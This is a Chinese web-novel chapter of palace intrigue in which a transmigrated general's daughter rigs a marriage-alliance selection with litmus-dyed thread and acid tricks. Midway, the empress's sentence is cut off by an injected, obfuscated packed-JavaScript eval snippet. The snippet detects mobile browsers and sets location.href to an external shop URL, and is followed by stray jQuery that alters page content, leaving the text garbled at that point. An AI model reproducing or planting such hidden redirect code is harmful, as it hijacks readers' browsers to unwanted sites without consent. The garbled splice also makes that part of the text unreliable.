初春，镇北将军府。
更漏指向三更。
何灿将最后一缕浸泡好的丝线卷起，藏入袖中，窗外传来梆子声。
再过一个时辰，就该进宫了，去那场决定她命运的宫宴。
满京城都知道，陛下猜忌何家。父亲在漠北被架空兵权，兄长在京城赋闲三年，而她作为将军府独女，即将被送上和亲的花轿，成为安抚漠北的祭品。
“小姐，该更衣了。”
贴身丫鬟桃红捧着宫装进来，声音里带着哽咽。烛光下，少女眼眶通红，却强忍着不敢哭出声。
何灿回身，目光落在桃红手中的宫装上。
锦缎层层叠叠，牡丹繁复华丽，还有那条三指宽的玉带。这不是衣裳，是枷锁。穿上它，就意味着接受成为棋子的命运。
“穿这个去送死？”她冷笑一声，走到衣架前，“拿来吧。”
“小姐？”桃红愣住了。
自从半月前落湖醒来，小姐就像换了个人。从前那个说话都不敢大声、见人就低头的将军府独女消失了，取而代之的是这个眼神锐利、行事怪异的何灿。
他们都说小姐疯了。
可桃红觉得这样挺好。
至少，小姐眼里有光了。
“愣着做什么？”何灿张开双臂，“帮我穿上。”
铜镜里映出少女的身影。宫装华贵，却衬得那张脸愈发苍白。原主常年怯懦，气质透着瑟缩。
可此刻镜中人的眼神，却冷静得可怕。
何灿摩挲着藏在袖中的丝线。
这丝线，是她用橄榄斑叶衣制成石蕊溶液，将丝线在溶液中反复浸泡，制作而成。
色泽鲜亮，遇酸变红。
这是她在初中化学实验室里，操作过无数次的石蕊溶液遇酸变红实验，如今竟成了她破局的武器。
“小姐，”桃红忽然低声问，“您真的要去和亲吗？”
何灿整理袖口的手顿了顿。
三天前，她秘密入宫，和那位高高在上的皇帝做了一笔交易：何家，用手中的兵权，做只忠于皇帝的利刃，换她不去漠北的承诺。
皇帝没有明确答复，却赏了她一匣皇家特供的橄榄斑叶衣。
那是默许，也是试探。
“小桃红，”何灿转过身，逆着烛光，嘴角勾起极淡的弧度，“今日你家小姐，不会中选。”
“您说什么？”桃红呆愣在原地。
“我说，”她一字一顿，“我不会去和亲。”
走到门边时，何灿回头。烛火摇曳，在她眼底投下一片暗影。
“因为，我有办法——”
“让别人去。”
宫宴，绮春园。
丝竹管弦，觥筹交错。
何灿踏入宴会厅的那一刻，就感受到了一道如有实质的视线。她抬眼望去：
主位右下首，少女斜倚在紫檀圈椅上，穿着一袭绯红宫装，正漫不经心地把玩着手中的琉璃酒盏。察觉到她的目光，李环嘴角微勾，似笑非笑。
盛平公主，李环。
原主记忆里，一个月前将她推下定坤湖的“死对头”。
四目相对，空气瞬间凝滞。
“呵，这不是何小姐么？”一道飒爽的女声插进来。
安乐郡主李瑶歪着头，上下打量着何灿：“病好得真快。看来将军府，也未必如传言那般疼惜你。”
这话诛心。
满座贵女皆侧目。谁不知道，镇北将军府式微已成定局。送何灿去和亲，就是陛下公开表态——何家，该让位了。
“毕竟父皇不喜何家，”李环懒洋洋接话，目光仍锁定在何灿脸上，“她又是个软弱的。不如送去和亲，还能为家族，贡献一点价值。”
最后几个字，她说得极慢。
每个字都像淬了毒的针。
何灿垂眸，做出惯常的畏缩姿态，指尖却悄悄探入袖中，触摸到那卷浸满石蕊溶液的丝线。
“何小姐，”主位的皇后温声开口，“这是今年波斯进贡的柠檬，尝尝罢。”
宫女呈上果盘。黄澄澄的柠檬切片，散发着清香。
何灿道谢，却没有去碰那些柠檬。她端起酒杯，双手不小心一抖。
“啪！”
酒盏碎裂，酒水溅湿裙摆。
“对、对不起。”何灿慌乱起身，肩膀微微发抖，眼睛泛红，仿佛下一秒就要哭出来。
“呵，”李环撇过脸，“还是一如既往的愚蠢。”
“无妨，”皇后摆摆手，“去换身衣裳罢。”
总管太监德清公公躬身应下，唤来一名宫女：“带何小姐去后殿更衣。”
“多谢娘娘。”何灿福身，带着桃红随宫女退下。
宫宴，后殿
“桃红，”何灿轻声吩咐，“我的帕子落在席间了，你去寻一下。今日人多眼杂，莫要声张。”
“是，小姐。”
支走桃红，何灿对引路宫女柔声道：“劳烦姐姐在门外稍候，我自行更衣便好。”
宫女不疑有他，退至廊下。
门扉合拢的瞬间，何灿脸上的怯懦褪得干干净净。她快步走到窗边，推开一条缝隙。
窗外正对着的，是存放宴会物品的配殿。
何灿翻窗而出，悄悄走到配殿窗前，透过窗子，她看到殿内依次摆放着参选贵女的铭牌与绣具。
四下无人，值守的小太监正在打盹。何灿轻轻推开窗子，利落翻身而进。
目光扫过铭牌，最终精准锁定在第一列第二格。
安乐郡主，李瑶。
她走到安乐郡主的托盘前，从袖中掏出那卷浸泡过石蕊溶液的紫色丝线，快速替换，将原本的丝线收入袖中。
转身时，目光扫过写着“何灿”的铭牌。
何灿脚步一顿。她的丝线也被人动了手脚：
颜色深浅不一，还有一股淡淡的紫草汁味。
紫草汁遇酸变红，这是宫人染布的常用方法。
“公主殿下吩咐我来看看，宴会准备得是否周全。”
门外突然响起的声音让何灿瞳孔一缩。
她迅速躲到一旁的柜子里，透过缝隙，看清来人。
是盛平公主的贴身宫女。
果然，李环不希望她留在京城！
那宫女走到何灿的托盘前，仔细地检查了丝线，然后满意地点头离开。
待宫女走后，何灿从柜中走出，看着被替换的丝线，心底冷笑：
大费周章搞这么一出！我怎么舍得让你失望呢？
何灿将丝线放回原处，翻窗而出，从石阶和墙根处刮下一些石灰石粉末，悄然离开。
宫宴，宴会厅
“诸位皆是宗室贵女，品行端方，”皇后温声道，“此次和亲，是为两国重修旧好。中选者
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123169|195995||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，陛下亲封公主，享皇室殊荣。”
德清公公躬身上前：“漠北崇尚格桑花，此次便以格桑花为题。请诸位贵女各绣一朵，绣成后将绣品浸入圣泉水。”
他环视全场，声音提高：
“丝线变红者，即为天选。”
宫女呈上清水与绣具。众贵女凝神飞针，何灿亦垂首刺绣。
换针的间隙，她悄悄将石灰石粉末洒进自己面前的清水托盘。
紫草汁遇到石灰石溶液会变蓝，她要确保自己的绣品“不变红”。
接下来，是最后一步。
何灿“不慎”打翻绣筐，俯身去拾。
宽大的袖摆拂过安乐郡主座位旁边的那盆清水，一颗药丸脱袖而出，入水即溶，无色无味。
那是她用柠檬酸粉末特制的药丸。
石蕊丝线遇到柠檬酸溶液，会生成稳定的红色物质——这是她刻在DNA里的化学记忆。
一个时辰后。
德清公公高声唱道：“时辰到，请诸位贵女将绣品浸水！”
贵女们纷纷将格桑花浸入清水中。
片刻，安乐郡主的那朵格桑花，开始以肉眼可见的速度褪去紫色，爬满红色。
那妖异的、渗血般的红，像盛开在地狱的彼岸花。
满堂哗然。
盛暄帝沉吟片刻，看向漠北使者：“此为天意。”
德清公公会意，高声唱诺：
“此次和亲人选，钦定——安乐郡主！”
李瑶手中的酒杯跌落在地，脸色惨白如纸。
何灿垂下眼帘，袖中攥紧的手，微微松开。
交易，成了。
她抬眼，正对上李环投来的目光。
李环停下手中把玩的酒盏，看向何灿，眼神里，第一次出现了鄙视以外的情绪：
是审视和探究。
宫门，长街
“站住。”
何灿驻足回身。
李环立在宫灯阴影下，红衣墨发，目光死死盯着她。
“公主殿下。”何灿颔首。
“你做的。”李环语气肯定。
“殿下明鉴。”
“为何？”李环质问。
“趋利避害，人之本能。”何灿迎上她的目光，“殿下不也想让我去和亲么？可惜，我这个人，不太听话。”
李环忽然笑了，笑容中露出一丝欣赏。
“看来定坤湖的水，没淹死你，反倒把你泡聪明了。”
“托殿下的福。”
李环凝视她许久，从腰间摘下一块玉牌，递到何灿面前。
玉质温润，上面刻着繁复的鸾鸟纹，正中间一个“环”字。
“何灿，”李环走近一步，压低嗓音，“你今日这手偷天换日，很有意思。”
“而本宫身边，正缺一个有意思的人。”
晚风拂过，带着宫墙内梅花的冷香。
何灿望着眼前这位嚣张跋扈的盛平公主，看着她递来的橄榄枝，心道：
大鱼，上钩了！
通往权力场的第一道门，已经打开一丝缝隙。
而她，必将跻身而入。
权势、自由、生存的资本，她都要。
“荣幸之至。”何灿微微一笑，接过玉牌。
“明日申时，长乐宫。”
李环转身时，红裙在夜色中划出一道弧线。